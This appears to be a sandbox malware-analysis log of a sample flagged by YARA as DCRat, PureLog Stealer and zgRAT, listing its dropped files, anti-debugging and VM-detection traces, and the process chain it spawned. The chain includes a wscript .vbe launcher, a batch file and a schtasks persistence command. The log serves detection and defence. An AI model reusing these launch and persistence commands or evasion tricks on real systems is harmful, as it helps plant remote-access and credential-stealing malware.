Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: 13A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: 1B020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: B50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 1A6C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: FF0000 memory reserve \| memory write watch
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 1AD20000 memory reserve \| memory write watch
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: 1350000 memory reserve \| memory write watch
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: 1AC50000 memory reserve \| memory write watch
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: D20000 memory reserve \| memory write watch
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: 1A7A0000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 14C0000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 1B220000 memory reserve \| memory write watch
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 1770000 memory reserve \| memory write watch
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 1E20000 memory reserve \| memory write watch
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: 2370000 memory reserve \| memory write watch
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Memory allocated: 1A3E0000 memory reserve \| memory write watch
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 800000 memory reserve \| memory write watch
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Memory allocated: 1A3B0000 memory reserve \| memory write watch

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VObntHLa.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ARUSTYfT.log	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hzhmzTUD.log	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\riACjval.log	Jump to dropped file

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-23436

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe TID: 1136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe TID: 7288	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe TID: 7296	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe TID: 7384	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe TID: 7400	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe TID: 7616	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe TID: 7832	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe TID: 8060	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe TID: 8144	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BDA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_00BDA69B
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BEC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_00BEC220

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BEE6A3 VirtualQuery,GetSystemInfo,

0_2_00BEE6A3

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Thread delayed: delay time: 922337203685477

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: w32tm.exe, 00000022.00000002.1899837079.000001F7926E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: 7aHY4r6vXR.exe, 00000000.00000003.1740731841.000000000360B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000001.00000003.1793236904.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d.
Source: wscript.exe, 00000001.00000002.1794697213.0000000002AEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: RuntimeBroker.exe.4.dr	Binary or memory string: kb9aSsbBD97JTVMcIoeR

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

API call chain: ExitProcess graph end node

graph_0-23666

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BEF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00BEF838

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BF7DEE mov eax, dword ptr fs:[00000030h]

0_2_00BF7DEE

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BFC030 GetProcessHeap,

0_2_00BFC030

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process token adjusted: Debug
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process token adjusted: Debug
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process token adjusted: Debug
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BEF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BEF838
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BEF9D5 SetUnhandledExceptionFilter,	0_2_00BEF9D5
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BEFBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00BEFBCA
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BF8EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BF8EBD

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ChainBroker\bridgeServerFontSavesMonitor.exe "C:\ChainBroker/bridgeServerFontSavesMonitor.exe"	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline"	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 9 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /f	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES69DB.tmp" "c:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe"

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BEF654 cpuid

0_2_00BEF654

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00BEAF0F

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Queries volume information: C:\ChainBroker\bridgeServerFontSavesMonitor.exe VolumeInformation	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Queries volume information: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Queries volume information: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe VolumeInformation
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Queries volume information: C:\ChainBroker\bridgeServerFontSavesMonitor.exe VolumeInformation
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Queries volume information: C:\ChainBroker\bridgeServerFontSavesMonitor.exe VolumeInformation
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Queries volume information: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe VolumeInformation
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Queries volume information: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe VolumeInformation
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Queries volume information: C:\ChainBroker\bridgeServerFontSavesMonitor.exe VolumeInformation
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Queries volume information: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe VolumeInformation

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BEDF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00BEDF1E

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BDB146 GetVersionExW,

0_2_00BDB146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000004.00000002.1854260219.000000001321B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bridgeServerFontSavesMonitor.exe PID: 6996, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7aHY4r6vXR.exe, type: SAMPLE
Source: Yara match	File source: 4.0.bridgeServerFontSavesMonitor.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1734834073.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1794524656.0000000000CA2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1735483300.00000000058B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\SchCache\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, type: DROPPED
Source: Yara match	File source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 7aHY4r6vXR.exe, type: SAMPLE
Source: Yara match	File source: 4.0.bridgeServerFontSavesMonitor.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\SchCache\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, type: DROPPED
Source: Yara match	File source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000004.00000002.1854260219.000000001321B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bridgeServerFontSavesMonitor.exe PID: 6996, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7aHY4r6vXR.exe, type: SAMPLE
Source: Yara match	File source: 4.0.bridgeServerFontSavesMonitor.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1734834073.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1794524656.0000000000CA2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1735483300.00000000058B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\SchCache\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, type: DROPPED
Source: Yara match	File source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 7aHY4r6vXR.exe, type: SAMPLE
Source: Yara match	File source: 4.0.bridgeServerFontSavesMonitor.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.6f66717.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7aHY4r6vXR.exe.58ff717.1.unpack, type: UNPACKEDPE
